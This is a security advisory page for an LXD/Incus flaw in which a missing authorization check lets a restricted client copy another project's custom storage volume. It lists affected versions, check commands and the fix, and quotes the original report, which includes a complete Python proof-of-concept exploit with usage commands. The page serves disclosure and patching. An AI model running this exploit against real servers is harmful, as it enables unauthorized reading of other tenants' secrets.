---
id: "GHSA-7mr3-28h5-m5vx"
page: "https://infrastack.ai/live/GHSA-7mr3-28h5-m5vx"
kind: "vulnerability"
aliases: ["GHSA-7mr3-28h5-m5vx"]
title: "LXD has project restriction bypass for custom volume copy across projects"
severity: "high"
cvss: 7.7
epss: null
exploited: false
status: "open"
category: "infrastructure"
products: [{"name": "github.com/canonical/lxd", "fixed": ["0.0.0-20260630083100-c5184be310b1"], "affected": "< 0.0.0-20260630083100-c5184be310b1", "ecosystem": "go"}]
ecosystems: ["go"]
tags: ["cwe-284", "go", "incus", "infrastructure", "lxd", "self-hosted"]
not_affected_if: ["no-remote-api", "patched-version", "unrestricted-clients-only"]
published_at: "2026-11-06T19:51:16+00:00"
first_seen_at: "2026-11-06T19:53:29+00:00"
updated_at: "2026-11-06T19:53:57+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-7mr3-28h5-m5vx", "first_seen_at": "2026-11-06T19:53:29+00:00"}]
exploit_sources: []
---

# LXD has project restriction bypass for custom volume copy across projects

Link for people: https://infrastack.ai/live/GHSA-7mr3-28h5-m5vx (this .md is for agents)

LXD's storage volume creation handler does not check that the caller may view the source volume when copying a custom volume from another project. An attacker who knows a project and volume name they cannot access can copy the volume into a project they can reach and read its contents, including any secrets.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- go:github.com/canonical/lxd affected < 0.0.0-20260630083100-c5184be310b1 fixed 0.0.0-20260630083100-c5184be310b1

## How to check

- Check the installed LXD or Go module version: `go list -m github.com/canonical/lxd` or `lxd --version`
- Look for restricted certificates with project access: `incus config trust list` or `lxc config trust list`, then inspect with `lxc config trust show <fingerprint>`
- Review whether any restricted client can reach the server remotely on port 8443

## Fix

- `github.com/canonical/lxd` moves to `0.0.0-20260630083100-c5184be310b1` (the fixed pseudo-version from the product data)

## Timeline

- 2026-11-06T19:53:29+00:00 ghsa https://github.com/advisories/GHSA-7mr3-28h5-m5vx

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/canonical/lxd/security-advisories/GHSA-7mr3-28h5-m5vx
- [advisory] Maintainer's advisory: github.com https://github.com/canonical/lxd/security/advisories/GHSA-7mr3-28h5-m5vx
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/8a4ed50ae855639d76021ba4bf26a50d7f2288fd
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/e2635a26957737ec4a77dc28dd7b84bd380881d6
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/eec1cf9504c18ad7c3c36ae0b62d21c05c25702c
- [fix] Release: github.com https://github.com/canonical/lxd/releases/tag/lxd-5.0.7
- [fix] Release: github.com https://github.com/canonical/lxd/releases/tag/lxd-5.21.5
- [fix] Release: github.com https://github.com/canonical/lxd/releases/tag/lxd-6.8

## From the sources

Reported from https://github.com/lxc/incus/security/advisories/GHSA-64f3-v33m-w89f

### Summary

Missing authorization checks exist for custom volume copying where an attacker knowing the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access.

### Details

The storage volume creation handler authorizes creation in the target project, then passes `req.Source.Project` into the custom-volume copy path without checking that the caller can view the source volume. `req.Source.Project` is the attacker-controlled field. It is resolved to a storage volume project name and passed directly to `CreateCustomVolumeFromCopy`. No `allowPermission` or entitlement check (e.g. `CanView` on the source volume) is performed.

From my understanding, the copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the volume to another server.

### PoC
#### Setup

We assume the target server is remotely accessible and a user/certificate has been added.

```
# create a new project and instance
incus project create secrets
incus profile show default | incus --project secrets edit default
incus --project secrets storage volume create default secret-vol

# restrict an existing certificate to prevent access to the project
incus config trust edit cert-fp
#> set, for example
restricted: true
projects:
  - default

# verification, with the restricted certificate
incus --project secrets storage volume ls remote:default
```

#### Exploitation

The below script was partly generated. To copy the secret instance to the default project, the following command can be used.

```
python3 poc.py --url https://IP-REMOTE:8443 \
    --cert path/to/client.crt --key path/to/client.key \
    --target-project default --source-project secrets \
    --source-volume secret-vol --name copy-secret-vol \
    --pool default --source-pool default \
    --insecure
```

Wait a bit for the custom volume to be copied, then `incus storage volume ls remote:default` to see the copied instance.

```
#!/usr/bin/env python3
"""Copy a custom storage volume from another project into an allowed project."""

from __future__ import annotations

import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request


def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
    ctx = ssl.create_default_context()
    if insecure:
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
    ctx.load_cert_chain(cert, key)
    req = urllib.request.Request(
        url.rstrip("/") + path,
        data=json.dumps(body).encode(),
        method="POST",
        headers={"Content-Type": "application/json", "Accept": "application/json"},
    )
    try:
        with urllib.request.urlopen(req, context=ctx) as resp:
            return resp.read()
    except urllib.error.HTTPError as exc:
        sys.stderr.write(exc.read().decode(errors="replace") + "\n")
        raise


def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--url", required=True)
    ap.add_argument("--cert", required=True)
    ap.add_argument("--key", required=True)
    ap.add_argument("--pool", required=True)
    ap.add_argument("--target-project", required=True)
    ap.add_argument("--source-project", required=True)
    ap.add_argument("--source-volume", required=True)
    ap.add_argument("--source-pool")
    ap.add_argument("--name", required=True, help="new volume name in target project")
    ap.add_argument("--content-type", default="filesystem", choices=["filesystem", "block"])
    ap.add_argument("--volume-only", action="store_true")
    ap.add_argument("--insecure", action="store_true")
    ap.add_argument("--dry-run", action="store_true")
    args = ap.parse_args()

    source = {
        "type": "copy",
        "name": args.source_volume,
        "project": args.source_project,
        "volume_only": args.volume_only,
    }
    if args.source_pool:
        source["pool"] = args.source_pool

    body = {
        "name": args.name,
        "type": "custom",
        "content_type": args.content_type,
        "source": source,
    }
    path = "/1.0/storage-pools/{}/volumes/custom?{}".format(
        urllib.parse.quote(args.pool, safe=""),
        urllib.parse.urlencode({"project": args.target_project}),
    )
    print(json.dumps(body, indent=2))
    if args.dry_run:
        return 0
    print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
```

### Impact

An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
